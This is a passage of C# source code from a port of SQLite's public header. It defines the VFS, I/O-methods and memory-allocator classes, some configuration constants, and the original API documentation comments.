iOfst);\n    //  int (*xWrite)(sqlite3_file*, const void*, int iAmt, sqlite3_int64 iOfst);\n    //  int (*xTruncate)(sqlite3_file*, sqlite3_int64 size);\n    //  int (*xSync)(sqlite3_file*, int flags);\n    //  int (*xFileSize)(sqlite3_file*, sqlite3_int64 *pSize);\n    //  int (*xLock)(sqlite3_file*, int);\n    //  int (*xUnlock)(sqlite3_file*, int);\n    //  int (*xCheckReservedLock)(sqlite3_file*, int *pResOut);\n    //  int (*xFileControl)(sqlite3_file*, int op, void *pArg);\n    //  int (*xSectorSize)(sqlite3_file*);\n    //  int (*xDeviceCharacteristics)(sqlite3_file*);\n    //  /* Additional methods may be added in future releases */\n    //};\n    public class sqlite3_io_methods\n    {\n      public int iVersion;\n      public dxClose xClose;\n      public dxRead xRead;\n      public dxWrite xWrite;\n      public dxTruncate xTruncate;\n      public dxSync xSync;\n      public dxFileSize xFileSize;\n      public dxLock xLock;\n      public dxUnlock xUnlock;\n      public dxCheckReservedLock xCheckReservedLock;\n      public dxFileControl xFileControl;\n      public dxSectorSize xSectorSize;\n      public dxDeviceCharacteristics xDeviceCharacteristics;\n      /* Additional methods may be added in future releases */\n\n      public sqlite3_io_methods( int iVersion,\n      dxClose xClose,\n      dxRead xRead,\n      dxWrite xWrite,\n      dxTruncate xTruncate,\n      dxSync xSync,\n      dxFileSize xFileSize,\n      dxLock xLock,\n      dxUnlock xUnlock,\n      dxCheckReservedLock xCheckReservedLock,\n      dxFileControl xFileControl,\n      dxSectorSize xSectorSize,\n      dxDeviceCharacteristics xDeviceCharacteristics )\n      {\n        this.iVersion = iVersion;\n        this.xClose = xClose;\n        this.xRead = xRead;\n        this.xWrite = xWrite;\n        this.xTruncate = xTruncate;\n        this.xSync = xSync;\n        this.xFileSize = xFileSize;\n        this.xLock = xLock;\n        this.xUnlock = xUnlock;\n        this.xCheckReservedLock = xCheckReservedLock;\n        this.xFileControl = xFileControl;\n        this.xSectorSize = xSectorSize;\n        this.xDeviceCharacteristics = xDeviceCharacteristics;\n      }\n    }\n\n    /*\n    ** CAPI3REF: Standard File Control Opcodes {H11310} <S30800>\n    **\n    ** These integer constants are opcodes for the xFileControl method\n    ** of the [sqlite3_io_methods] object and for the [sqlite3_file_control()]\n    ** interface.\n    **\n    ** The [SQLITE_FCNTL_LOCKSTATE] opcode is used for debugging.  This\n    ** opcode causes the xFileControl method to write the current state of\n    ** the lock (one of [SQLITE_LOCK_NONE], [SQLITE_LOCK_SHARED],\n    ** [SQLITE_LOCK_RESERVED], [SQLITE_LOCK_PENDING], or [SQLITE_LOCK_EXCLUSIVE])\n    ** into an integer that the pArg argument points to. This capability\n    ** is used during testing and only needs to be supported when SQLITE_TEST\n    ** is defined.\n    */\n    //#define SQLITE_FCNTL_LOCKSTATE        1\n    //#define SQLITE_GET_LOCKPROXYFILE      2\n    //#define SQLITE_SET_LOCKPROXYFILE      3\n    //#define SQLITE_LAST_ERRNO             4\n    const int SQLITE_FCNTL_LOCKSTATE = 1;\n    const int SQLITE_GET_LOCKPROXYFILE = 2;\n    const int SQLITE_SET_LOCKPROXYFILE = 3;\n    const int SQLITE_LAST_ERRNO = 4;\n\n    /*\n    ** CAPI3REF: Mutex Handle {H17110} <S20130>\n    **\n    ** The mutex module within SQLite defines [sqlite3_mutex] to be an\n    ** abstract type for a mutex object.  The SQLite core never looks\n    ** at the internal representation of an [sqlite3_mutex].  It only\n    ** deals with pointers to the [sqlite3_mutex] object.\n    **\n    ** Mutexes are created using [sqlite3_mutex_alloc()].\n    */\n    //typedef struct sqlite3_mutex sqlite3_mutex;\n\n    /*\n    ** CAPI3REF: OS Interface Object {H11140} <S20100>\n    **\n    ** An instance of the sqlite3_vfs object defines the interface between\n    ** the SQLite core and the underlying operating system.  The \"vfs\"\n    ** in the name of the object stands for \"virtual file system\".\n    **\n    ** The value of the iVersion field is initially 1 but may be larger in\n    ** future versions of SQLite.  Additional fields may be appended to this\n    ** object when the iVersion value is increased.  Note that the structure\n    ** of the sqlite3_vfs object changes in the transaction between\n    ** SQLite version 3.5.9 and 3.6.0 and yet the iVersion field was not\n    ** modified.\n    **\n    ** The szOsFile field is the size of the subclassed [sqlite3_file]\n    ** structure used by this VFS.  mxPathname is the maximum length of\n    ** a pathname in this VFS.\n    **\n    ** Registered sqlite3_vfs objects are kept on a linked list formed by\n    ** the pNext pointer.  The [sqlite3_vfs_register()]\n    ** and [sqlite3_vfs_unregister()] interfaces manage this list\n    ** in a thread-safe way.  The [sqlite3_vfs_find()] interface\n    ** searches the list.  Neither the application code nor the VFS\n    ** implementation should use the pNext pointer.\n    **\n    ** The pNext field is the only field in the sqlite3_vfs\n    ** structure that SQLite will ever modify.  SQLite will only access\n    ** or modify this field while holding a particular static mutex.\n    ** The application should never modify anything within the sqlite3_vfs\n    ** object once the object has been registered.\n    **\n    ** The zName field holds the name of the VFS module.  The name must\n    ** be unique across all VFS modules.\n    **\n    ** SQLite will guarantee that the zFilename parameter to xOpen\n    ** is either a NULL pointer or string obtained\n    ** from xFullPathname().  SQLite further guarantees that\n    ** the string will be valid and unchanged until xClose() is\n    ** called. Because of the previous sentence,\n    ** the [sqlite3_file] can safely store a pointer to the\n    ** filename if it needs to remember the filename for some reason.\n    ** If the zFilename parameter is xOpen is a NULL pointer then xOpen\n    ** must invent its own temporary name for the file.  Whenever the \n    ** xFilename parameter is NULL it will also be the case that the\n    ** flags parameter will include [SQLITE_OPEN_DELETEONCLOSE].\n    **\n    ** The flags argument to xOpen() includes all bits set in\n    ** the flags argument to [sqlite3_open_v2()].  Or if [sqlite3_open()]\n    ** or [sqlite3_open16()] is used, then flags includes at least\n    ** [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]. \n    ** If xOpen() opens a file read-only then it sets *pOutFlags to\n    ** include [SQLITE_OPEN_READONLY].  Other bits in *pOutFlags may be set.\n    **\n    ** SQLite will also add one of the following flags to the xOpen()\n    ** call, depending on the object being opened:\n    **\n    ** <ul>\n    ** <li>  [SQLITE_OPEN_MAIN_DB]\n    ** <li>  [SQLITE_OPEN_MAIN_JOURNAL]\n    ** <li>  [SQLITE_OPEN_TEMP_DB]\n    ** <li>  [SQLITE_OPEN_TEMP_JOURNAL]\n    ** <li>  [SQLITE_OPEN_TRANSIENT_DB]\n    ** <li>  [SQLITE_OPEN_SUBJOURNAL]\n    ** <li>  [SQLITE_OPEN_MASTER_JOURNAL]\n    ** </ul>\n    **\n    ** The file I/O implementation can use the object type flags to\n    ** change the way it deals with files.  For example, an application\n    ** that does not care about crash recovery or rollback might make\n    ** the open of a journal file a no-op.  Writes to this journal would\n    ** also be no-ops, and any attempt to read the journal would return\n    ** SQLITE_IOERR.  Or the implementation might recognize that a database\n    ** file will be doing page-aligned sector reads and writes in a random\n    ** order and set up its I/O subsystem accordingly.\n    **\n    ** SQLite might also add one of the following flags to the xOpen method:\n    **\n    ** <ul>\n    ** <li> [SQLITE_OPEN_DELETEONCLOSE]\n    ** <li> [SQLITE_OPEN_EXCLUSIVE]\n    ** </ul>\n    **\n    ** The [SQLITE_OPEN_DELETEONCLOSE] flag means the file should be\n    ** deleted when it is closed.  The [SQLITE_OPEN_DELETEONCLOSE]\n    ** will be set for TEMP  databases, journals and for subjournals.\n    **\n    ** The [SQLITE_OPEN_EXCLUSIVE] flag is always used in conjunction\n    ** with the [SQLITE_OPEN_CREATE] flag, which are both directly\n    ** analogous to the O_EXCL and O_CREAT flags of the POSIX open()\n    ** API.  The SQLITE_OPEN_EXCLUSIVE flag, when paired with the \n    ** SQLITE_OPEN_CREATE, is used to indicate that file should always\n    ** be created, and that it is an error if it already exists.\n    ** It is <i>not</i> used to indicate the file should be opened \n    ** for exclusive access.\n    **\n    ** At least szOsFile bytes of memory are allocated by SQLite\n    ** to hold the  [sqlite3_file] structure passed as the third\n    ** argument to xOpen.  The xOpen method does not have to\n    ** allocate the structure; it should just fill it in.  Note that\n    ** the xOpen method must set the sqlite3_file.pMethods to either\n    ** a valid [sqlite3_io_methods] object or to NULL.  xOpen must do\n    ** this even if the open fails.  SQLite expects that the sqlite3_file.pMethods\n    ** element will be valid after xOpen returns regardless of the success\n    ** or failure of the xOpen call.\n    **\n    ** The flags argument to xAccess() may be [SQLITE_ACCESS_EXISTS]\n    ** to test for the existence of a file, or [SQLITE_ACCESS_READWRITE] to\n    ** test whether a file is readable and writable, or [SQLITE_ACCESS_READ]\n    ** to test whether a file is at least readable.   The file can be a\n    ** directory.\n    **\n    ** SQLite will always allocate at least mxPathname+1 bytes for the\n    ** output buffer xFullPathname.  The exact size of the output buffer\n    ** is also passed as a parameter to both  methods. If the output buffer\n    ** is not large enough, [SQLITE_CANTOPEN] should be returned. Since this is\n    ** handled as a fatal error by SQLite, vfs implementations should endeavor\n    ** to prevent this by setting mxPathname to a sufficiently large value.\n    **\n    ** The xRandomness(), xSleep(), and xCurrentTime() interfaces\n    ** are not strictly a part of the filesystem, but they are\n    ** included in the VFS structure for completeness.\n    ** The xRandomness() function attempts to return nBytes bytes\n    ** of good-quality randomness into zOut.  The return value is\n    ** the actual number of bytes of randomness obtained.\n    ** The xSleep() method causes the calling thread to sleep for at\n    ** least the number of microseconds given.  The xCurrentTime()\n    ** method returns a Julian Day Number for the current date and time.\n    **\n    */\n    //typedef struct sqlite3_vfs sqlite3_vfs;\n    //struct sqlite3_vfs {\n    //  int iVersion;            /* Structure version number */\n    //  int szOsFile;            /* Size of subclassed sqlite3_file */\n    //  int mxPathname;          /* Maximum file pathname length */\n    //  sqlite3_vfs *pNext;      /* Next registered VFS */\n    //  const char *zName;       /* Name of this virtual file system */\n    //  void *pAppData;          /* Pointer to application-specific data */\n    //  int (*xOpen)(sqlite3_vfs*, const char *zName, sqlite3_file*,\n    //               int flags, int *pOutFlags);\n    //  int (*xDelete)(sqlite3_vfs*, const char *zName, int syncDir);\n    //  int (*xAccess)(sqlite3_vfs*, const char *zName, int flags, int *pResOut);\n    //  int (*xFullPathname)(sqlite3_vfs*, const char *zName, int nOut, char *zOut);\n    //  void *(*xDlOpen)(sqlite3_vfs*, const char *zFilename);\n    //  void (*xDlError)(sqlite3_vfs*, int nByte, char *zErrMsg);\n    //  void (*(*xDlSym)(sqlite3_vfs*,void*, const char *zSymbol))(void);\n    //  void (*xDlClose)(sqlite3_vfs*, void*);\n    //  int (*xRandomness)(sqlite3_vfs*, int nByte, char *zOut);\n    //  int (*xSleep)(sqlite3_vfs*, int microseconds);\n    //  int (*xCurrentTime)(sqlite3_vfs*, double*);\n    //  int (*xGetLastError)(sqlite3_vfs*, int, char *);\n    /* New fields may be appended in figure versions.  The iVersion\n    ** value will increment whenever this happens. */\n    //};\n    public class sqlite3_vfs\n    {\n      public int iVersion;            /* Structure version number */\n      public int szOsFile;            /* Size of subclassed sqlite3_file */\n      public int mxPathname;          /* Maximum file pathname length */\n      public sqlite3_vfs pNext;      /* Next registered VFS */\n      public string zName;       /* Name of this virtual file system */\n      public object pAppData;          /* Pointer to application-specific data */\n      public dxOpen xOpen;\n      public dxDelete xDelete;\n      public dxAccess xAccess;\n      public dxFullPathname xFullPathname;\n      public dxDlOpen xDlOpen;\n      public dxDlError xDlError;\n      public dxDlSym xDlSym;\n      public dxDlClose xDlClose;\n      public dxRandomness xRandomness;\n      public dxSleep xSleep;\n      public dxCurrentTime xCurrentTime;\n      public dxGetLastError xGetLastError;\n      /* New fields may be appended in figure versions.  The iVersion\n      ** value will increment whenever this happens. */\n\n      public sqlite3_vfs() { }\n\n      public sqlite3_vfs( int iVersion,\n      int szOsFile,\n      int mxPathname,\n      sqlite3_vfs pNext,\n      string zName,\n      object pAppData,\n      dxOpen xOpen,\n      dxDelete xDelete,\n      dxAccess xAccess,\n      dxFullPathname xFullPathname,\n      dxDlOpen xDlOpen,\n      dxDlError xDlError,\n      dxDlSym xDlSym,\n      dxDlClose xDlClose,\n      dxRandomness xRandomness,\n      dxSleep xSleep,\n      dxCurrentTime xCurrentTime,\n      dxGetLastError xGetLastError )\n      {\n        this.iVersion = iVersion;\n        this.szOsFile = szOsFile;\n        this.mxPathname = mxPathname;\n        this.pNext = pNext;\n        this.zName = zName;\n        this.pAppData = pAppData;\n        this.xOpen = xOpen;\n        this.xDelete = xDelete;\n        this.xAccess = xAccess;\n        this.xFullPathname = xFullPathname;\n        this.xDlOpen = xDlOpen;\n        this.xDlError = xDlError;\n        this.xDlSym = xDlSym;\n        this.xDlClose = xDlClose;\n        this.xRandomness = xRandomness;\n        this.xSleep = xSleep;\n        this.xCurrentTime = xCurrentTime;\n        this.xGetLastError = xGetLastError;\n      }\n    }\n    /*\n    ** CAPI3REF: Flags for the xAccess VFS method {H11190} <H11140>\n    **\n    ** These integer constants can be used as the third parameter to\n    ** the xAccess method of an [sqlite3_vfs] object. {END}  They determine\n    ** what kind of permissions the xAccess method is looking for.\n    ** With SQLITE_ACCESS_EXISTS, the xAccess method\n    ** simply checks whether the file exists.\n    ** With SQLITE_ACCESS_READWRITE, the xAccess method\n    ** checks whether the file is both readable and writable.\n    ** With SQLITE_ACCESS_READ, the xAccess method\n    ** checks whether the file is readable.\n    */\n    //#define SQLITE_ACCESS_EXISTS    0\n    //#define SQLITE_ACCESS_READWRITE 1\n    //#define SQLITE_ACCESS_READ      2\n    const int SQLITE_ACCESS_EXISTS = 0;\n    const int SQLITE_ACCESS_READWRITE = 1;\n    const int SQLITE_ACCESS_READ = 2;\n\n    /*\n    ** CAPI3REF: Initialize The SQLite Library {H10130} <S20000><S30100>\n    **\n    ** The sqlite3_initialize() routine initializes the\n    ** SQLite library.  The sqlite3_shutdown() routine\n    ** deallocates any resources that were allocated by sqlite3_initialize().\n    **\n    ** A call to sqlite3_initialize() is an \"effective\" call if it is\n    ** the first time sqlite3_initialize() is invoked during the lifetime of\n    ** the process, or if it is the first time sqlite3_initialize() is invoked\n    ** following a call to sqlite3_shutdown().  Only an effective call\n    ** of sqlite3_initialize() does any initialization.  All other calls\n    ** are harmless no-ops.\n    **\n    ** A call to sqlite3_shutdown() is an \"effective\" call if it is the first\n    ** call to sqlite3_shutdown() since the last sqlite3_initialize().  Only\n    ** an effective call to sqlite3_shutdown() does any deinitialization.\n    ** All other calls to sqlite3_shutdown() are harmless no-ops.\n    **\n    ** Among other things, sqlite3_initialize() shall invoke\n    ** sqlite3_os_init().  Similarly, sqlite3_shutdown()\n    ** shall invoke sqlite3_os_end().\n    **\n    ** The sqlite3_initialize() routine returns [SQLITE_OK] on success.\n    ** If for some reason, sqlite3_initialize() is unable to initialize\n    ** the library (perhaps it is unable to allocate a needed resource such\n    ** as a mutex) it returns an [error code] other than [SQLITE_OK].\n    **\n    ** The sqlite3_initialize() routine is called internally by many other\n    ** SQLite interfaces so that an application usually does not need to\n    ** invoke sqlite3_initialize() directly.  For example, [sqlite3_open()]\n    ** calls sqlite3_initialize() so the SQLite library will be automatically\n    ** initialized when [sqlite3_open()] is called if it has not be initialized\n    ** already.  However, if SQLite is compiled with the [SQLITE_OMIT_AUTOINIT]\n    ** compile-time option, then the automatic calls to sqlite3_initialize()\n    ** are omitted and the application must call sqlite3_initialize() directly\n    ** prior to using any other SQLite interface.  For maximum portability,\n    ** it is recommended that applications always invoke sqlite3_initialize()\n    ** directly prior to using any other SQLite interface.  Future releases\n    ** of SQLite may require this.  In other words, the behavior exhibited\n    ** when SQLite is compiled with [SQLITE_OMIT_AUTOINIT] might become the\n    ** default behavior in some future release of SQLite.\n    **\n    ** The sqlite3_os_init() routine does operating-system specific\n    ** initialization of the SQLite library.  The sqlite3_os_end()\n    ** routine undoes the effect of sqlite3_os_init().  Typical tasks\n    ** performed by these routines include allocation or deallocation\n    ** of static resources, initialization of global variables,\n    ** setting up a default [sqlite3_vfs] module, or setting up\n    ** a default configuration using [sqlite3_config()].\n    **\n    ** The application should never invoke either sqlite3_os_init()\n    ** or sqlite3_os_end() directly.  The application should only invoke\n    ** sqlite3_initialize() and sqlite3_shutdown().  The sqlite3_os_init()\n    ** interface is called automatically by sqlite3_initialize() and\n    ** sqlite3_os_end() is called by sqlite3_shutdown().  Appropriate\n    ** implementations for sqlite3_os_init() and sqlite3_os_end()\n    ** are built into SQLite when it is compiled for unix, windows, or os/2.\n    ** When built for other platforms (using the [SQLITE_OS_OTHER=1] compile-time\n    ** option) the application must supply a suitable implementation for\n    ** sqlite3_os_init() and sqlite3_os_end().  An application-supplied\n    ** implementation of sqlite3_os_init() or sqlite3_os_end()\n    ** must return [SQLITE_OK] on success and some other [error code] upon\n    ** failure.\n    */\n    //SQLITE_API int sqlite3_initialize(void);\n    //SQLITE_API int sqlite3_shutdown(void);\n    //SQLITE_API int sqlite3_os_init(void);\n    //SQLITE_API int sqlite3_os_end(void);\n\n    /*\n    ** CAPI3REF: Configuring The SQLite Library {H14100} <S20000><S30200>\n    ** EXPERIMENTAL\n    **\n    ** The sqlite3_config() interface is used to make global configuration\n    ** changes to SQLite in order to tune SQLite to the specific needs of\n    ** the application.  The default configuration is recommended for most\n    ** applications and so this routine is usually not necessary.  It is\n    ** provided to support rare applications with unusual needs.\n    **\n    ** The sqlite3_config() interface is not threadsafe.  The application\n    ** must insure that no other SQLite interfaces are invoked by other\n    ** threads while sqlite3_config() is running.  Furthermore, sqlite3_config()\n    ** may only be invoked prior to library initialization using\n    ** [sqlite3_initialize()] or after shutdown by [sqlite3_shutdown()].\n    ** Note, however, that sqlite3_config() can be called as part of the\n    ** implementation of an application-defined [sqlite3_os_init()].\n    **\n    ** The first argument to sqlite3_config() is an integer\n    ** [SQLITE_CONFIG_SINGLETHREAD | configuration option] that determines\n    ** what property of SQLite is to be configured.  Subsequent arguments\n    ** vary depending on the [SQLITE_CONFIG_SINGLETHREAD | configuration option]\n    ** in the first argument.\n    **\n    ** When a configuration option is set, sqlite3_config() returns [SQLITE_OK].\n    ** If the option is unknown or SQLite is unable to set the option\n    ** then this routine returns a non-zero [error code].\n    **\n    ** Requirements:\n    ** [H14103] [H14106] [H14120] [H14123] [H14126] [H14129] [H14132] [H14135]\n    ** [H14138] [H14141] [H14144] [H14147] [H14150] [H14153] [H14156] [H14159]\n    ** [H14162] [H14165] [H14168]\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_config(int, ...);\n\n    /*\n    ** CAPI3REF: Configure database connections  {H14200} <S20000>\n    ** EXPERIMENTAL\n    **\n    ** The sqlite3_db_config() interface is used to make configuration\n    ** changes to a [database connection].  The interface is similar to\n    ** [sqlite3_config()] except that the changes apply to a single\n    ** [database connection] (specified in the first argument).  The\n    ** sqlite3_db_config() interface can only be used immediately after\n    ** the database connection is created using [sqlite3_open()],\n    ** [sqlite3_open16()], or [sqlite3_open_v2()].  \n    **\n    ** The second argument to sqlite3_db_config(D,V,...)  is the\n    ** configuration verb - an integer code that indicates what\n    ** aspect of the [database connection] is being configured.\n    ** The only choice for this value is [SQLITE_DBCONFIG_LOOKASIDE].\n    ** New verbs are likely to be added in future releases of SQLite.\n    ** Additional arguments depend on the verb.\n    **\n    ** Requirements:\n    ** [H14203] [H14206] [H14209] [H14212] [H14215]\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_config(sqlite3*, int op, ...);\n\n    /*\n    ** CAPI3REF: Memory Allocation Routines {H10155} <S20120>\n    ** EXPERIMENTAL\n    **\n    ** An instance of this object defines the interface between SQLite\n    ** and low-level memory allocation routines.\n    **\n    ** This object is used in only one place in the SQLite interface.\n    ** A pointer to an instance of this object is the argument to\n    ** [sqlite3_config()] when the configuration option is\n    ** [SQLITE_CONFIG_MALLOC].  By creating an instance of this object\n    ** and passing it to [sqlite3_config()] during configuration, an\n    ** application can specify an alternative memory allocation subsystem\n    ** for SQLite to use for all of its dynamic memory needs.\n    **\n    ** Note that SQLite comes with a built-in memory allocator that is\n    ** perfectly adequate for the overwhelming majority of applications\n    ** and that this object is only useful to a tiny minority of applications\n    ** with specialized memory allocation requirements.  This object is\n    ** also used during testing of SQLite in order to specify an alternative\n    ** memory allocator that simulates memory out-of-memory conditions in\n    ** order to verify that SQLite recovers gracefully from such\n    ** conditions.\n    **\n    ** The xMalloc, xFree, and xRealloc methods must work like the\n    ** malloc(), free(), and realloc() functions from the standard library.\n    **\n    ** xSize should return the allocated size of a memory allocation\n    ** previously obtained from xMalloc or xRealloc.  The allocated size\n    ** is always at least as big as the requested size but may be larger.\n    **\n    ** The xRoundup method returns what would be the allocated size of\n    ** a memory allocation given a particular requested size.  Most memory\n    ** allocators round up memory allocations at least to the next multiple\n    ** of 8.  Some allocators round up to a larger multiple or to a power of 2.\n    **\n    ** The xInit method initializes the memory allocator.  (For example,\n    ** it might allocate any require mutexes or initialize internal data\n    ** structures.  The xShutdown method is invoked (indirectly) by\n    ** [sqlite3_shutdown()] and should deallocate any resources acquired\n    ** by xInit.  The pAppData pointer is used as the only parameter to\n    ** xInit and xShutdown.\n    */\n    //typedef struct sqlite3_mem_methods sqlite3_mem_methods;\n    //struct sqlite3_mem_methods {\n    //  void *(*xMalloc)(int);         /* Memory allocation function */\n    //  void (*xFree)(void*);          /* Free a prior allocation */\n    //  void *(*xRealloc)(void*,int);  /* Resize an allocation */\n    //  int (*xSize)(void*);           /* Return the size of an allocation */\n    //  int (*xRoundup)(int);          /* Round up request size to allocation size */\n    //  int (*xInit)(void*);           /* Initialize the memory allocator */\n    //  void (*xShutdown)(void*);      /* Deinitialize the memory allocator */\n    //  void *pAppData;                /* Argument to xInit() and xShutdown() */\n    //};\n    public struct sqlite3_mem_methods\n    {\n      public dxMalloc xMalloc;          //void *(*xMalloc)(int);         /* Memory allocation function */\n      public dxFree xFree;              //void (*xFree)(void*);          /* Free a prior allocation */\n      public dxRealloc xRealloc;        //void *(*xRealloc)(void*,int);  /* Resize an allocation */\n      public dxSize xSize;              //int (*xSize)(void*);           /* Return the size of an allocation */\n      public dxRoundup xRoundup;        //int (*xRoundup)(int);          /* Round up request size to allocation size */\n      public dxMemInit xInit;           //int (*xInit)(void*);           /* Initialize the memory allocator */\n      public dxMemShutdown xShutdown;   //void (*xShutdown)(void*);      /* Deinitialize the memory allocator */\n      public object pAppData;                                      /* Argument to xInit() and xShutdown() */\n\n      public sqlite3_mem_methods(\n      dxMalloc xMalloc,\n      dxFree xFree,\n      dxRealloc xRealloc,\n      dxSize xSize,\n      dxRoundup xRoundup,\n      dxMemInit xInit,\n      dxMemShutdown xShutdown,\n      object pAppData\n      )\n      {\n        this.xMalloc = xMalloc;\n        this.xFree = xFree;\n        this.xRealloc = xRealloc;\n        this.xSize = xSize;\n        this.xRoundup = xRoundup;\n        this.xInit = xInit;\n        this.xShutdown = xShutdown;\n        this.pAppData = pAppData;\n      }\n    }\n\n    /*\n    ** CAPI3REF: Configuration Options {H10160} <S20000>\n    ** EXPERIMENTAL\n    **\n    ** These constants are the available integer configuration options that\n    ** can be passed as the first argument to the [sqlite3_config()] interface.\n    **\n    ** New configuration options may be added in future releases of SQLite.\n    ** Existing configuration options might be discontinued.  Applications\n    ** should check the return code from [sqlite3_config()] to make sure that\n    ** the call worked.  The [sqlite3_config()] interface will return a\n    ** non-zero [error code] if a discontinued or unsupported configuration option\n    ** is invoked.\n    **\n    ** <dl>\n    ** <dt>SQLITE_CONFIG_SINGLETHREAD</dt>\n    ** <dd>There are no arguments to this option.  This option disables\n    ** all mutexing and puts SQLite into a mode where it can only be used\n    ** by a single thread.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_MULTITHREAD</dt>\n    ** <dd>There are no arguments to this option.  This option disables\n    ** mutexing on [database connection] and [prepared statement] objects.\n    ** The application is responsible for serializing access to\n    ** [database connections] and [prepared statements].  But other mutexes\n    ** are enabled so that SQLite will be safe to use in a multi-threaded\n    ** environment as long as no two threads attempt to use the same\n    ** [database connection] at the same time.  See the [threading mode]\n    ** documentation for additional information.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_SERIALIZED</dt>\n    ** <dd>There are no arguments to this option.  This option enables\n    ** all mutexes including the recursive\n    ** mutexes on [database connection] and [prepared statement] objects.\n    ** In this mode (which is the default when SQLite is compiled with\n    ** [SQLITE_THREADSAFE=1]) the SQLite library will itself serialize access\n    ** to [database connections] and [prepared statements] so that the\n    ** application is free to use the same [database connection] or the\n    ** same [prepared statement] in different threads at the same time.\n    ** See the [threading mode] documentation for additional information.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_MALLOC</dt>\n    ** <dd>This option takes a single argument which is a pointer to an\n    ** instance of the [sqlite3_mem_methods] structure.  The argument specifies\n    ** alternative low-level memory allocation routines to be used in place of\n    ** the memory allocation routines built into SQLite.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_GETMALLOC</dt>\n    ** <dd>This option takes a single argument which is a pointer to an\n    ** instance of the [sqlite3_mem_methods] structure.  The [sqlite3_mem_methods]\n    ** structure is filled with the currently defined memory allocation routines.\n    ** This option can be used to overload the default memory allocation\n    ** routines with a wrapper that simulations memory allocation failure or\n    ** tracks memory usage, for example.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_MEMSTATUS</dt>\n    ** <dd>This option takes single argument of type int, interpreted as a \n    ** boolean, which enables or disables the collection of memory allocation \n    ** statistics. When disabled, the following SQLite interfaces become \n    ** non-operational:\n    **   <ul>\n    **   <li> [sqlite3_memory_used()]\n    **   <li> [sqlite3_memory_highwater()]\n    **   <li> [sqlite3_soft_heap_limit()]\n    **   <li> [sqlite3_status()]\n    **   </ul>\n    ** </dd>\n    **\n    ** <dt>SQLITE_CONFIG_SCRATCH</dt>\n    ** <dd>This option specifies a static memory buffer that SQLite can use for\n    ** scratch memory.  There are three arguments:  A pointer an 8-byte\n    ** aligned memory buffer from which the scrach allocations will be\n    ** drawn, the size of each scratch allocation (sz),\n    ** and the maximum number of scratch allocations (N).  The sz\n    ** argument must be a multiple of 16. The sz parameter should be a few bytes\n    ** larger than the actual scratch space required due to internal overhead.\n    ** The first argument should pointer to an 8-byte aligned buffer\n    ** of at least sz*N bytes of memory.\n    ** SQLite will use no more than one scratch buffer at once per thread, so\n    ** N should be set to the expected maximum number of threads.  The sz\n    ** parameter should be 6 times the size of the largest database page size.\n    ** Scratch buffers are used as part of the btree balance operation.  If\n    ** The btree balancer needs additional memory beyond what is provided by\n    ** scratch buffers or if no scratch buffer space is specified, then SQLite\n    ** goes to [sqlite3_malloc()] to obtain the memory it needs.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_PAGECACHE</dt>\n    ** <dd>This option specifies a static memory buffer that SQLite can use for\n    ** the database page cache with the default page cache implemenation.  \n    ** This configuration should not be used if an application-define page\n    ** cache implementation is loaded using the SQLITE_CONFIG_PCACHE option.\n    ** There are three arguments to this option: A pointer to 8-byte aligned\n    ** memory, the size of each page buffer (sz), and the number of pages (N).\n    ** The sz argument should be the size of the largest database page\n    ** (a power of two between 512 and 32768) plus a little extra for each\n    ** page header.  The page header size is 20 to 40 bytes depending on\n    ** the host architecture.  It is harmless, apart from the wasted memory,\n    ** to make sz a little too large.  The first\n    ** argument should point to an allocation of at least sz*N bytes of memory.\n    ** SQLite will use the memory provided by the first argument to satisfy its\n    ** memory needs for the first N pages that it adds to cache.  If additional\n    ** page cache memory is needed beyond what is provided by this option, then\n    ** SQLite goes to [sqlite3_malloc()] for the additional storage space.\n    ** The implementation might use one or more of the N buffers to hold \n    ** memory accounting information. The pointer in the first argument must\n    ** be aligned to an 8-byte boundary or subsequent behavior of SQLite\n    ** will be undefined.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_HEAP</dt>\n    ** <dd>This option specifies a static memory buffer that SQLite will use\n    ** for all of its dynamic memory allocation needs beyond those provided\n    ** for by [SQLITE_CONFIG_SCRATCH] and [SQLITE_CONFIG_PAGECACHE].\n    ** There are three arguments: An 8-byte aligned pointer to the memory,\n    ** the number of bytes in the memory buffer, and the minimum allocation size.\n    ** If the first pointer (the memory pointer) is NULL, then SQLite reverts\n    ** to using its default memory allocator (the system malloc() implementation),\n    ** undoing any prior invocation of [SQLITE_CONFIG_MALLOC].  If the\n    ** memory pointer is not NULL and either [SQLITE_ENABLE_MEMSYS3] or\n    ** [SQLITE_ENABLE_MEMSYS5] are defined, then the alternative memory\n    ** allocator is engaged to handle all of SQLites memory allocation needs.\n    ** The first pointer (the memory pointer) must be aligned to an 8-byte\n    ** boundary or subsequent behavior of SQLite will be undefined.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_MUTEX</dt>\n    ** <dd>This option takes a single argument which is a pointer to an\n    ** instance of the [sqlite3_mutex_methods] structure.  The argument specifies\n    ** alternative low-level mutex routines to be used in place\n    ** the mutex routines built into SQLite.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_GETMUTEX</dt>\n    ** <dd>This option takes a single argument which is a pointer to an\n    ** instance of the [sqlite3_mutex_methods] structure.  The\n    ** [sqlite3_mutex_methods]\n    ** structure is filled with the currently defined mutex routines.\n    ** This option can be used to overload the default mutex allocation\n    ** routines with a wrapper used to track mutex usage for performance\n    ** profiling or testing, for example.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_LOOKASIDE</dt>\n    ** <dd>This option takes two arguments that determine the default\n    ** memory allcation lookaside optimization.  The first argument is the\n    ** size of each lookaside buffer slot and the second is the number of\n    ** slots allocated to each database connection.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_PCACHE</dt>\n    ** <dd>This option takes a single argument which is a pointer to\n    ** an [sqlite3_pcache_methods] object.  This object specifies the interface\n    ** to a custom page cache implementation.  SQLite makes a copy of the\n    ** object and uses it for page cache memory allocations.</dd>\n    **\n    ** <dt>SQLITE_CONFIG_GETPCACHE</dt>\n    ** <dd>This option takes a single argument which is a pointer to an\n    ** [sqlite3_pcache_methods] object.  SQLite copies of the current\n    ** page cache implementation into that object.</dd>\n    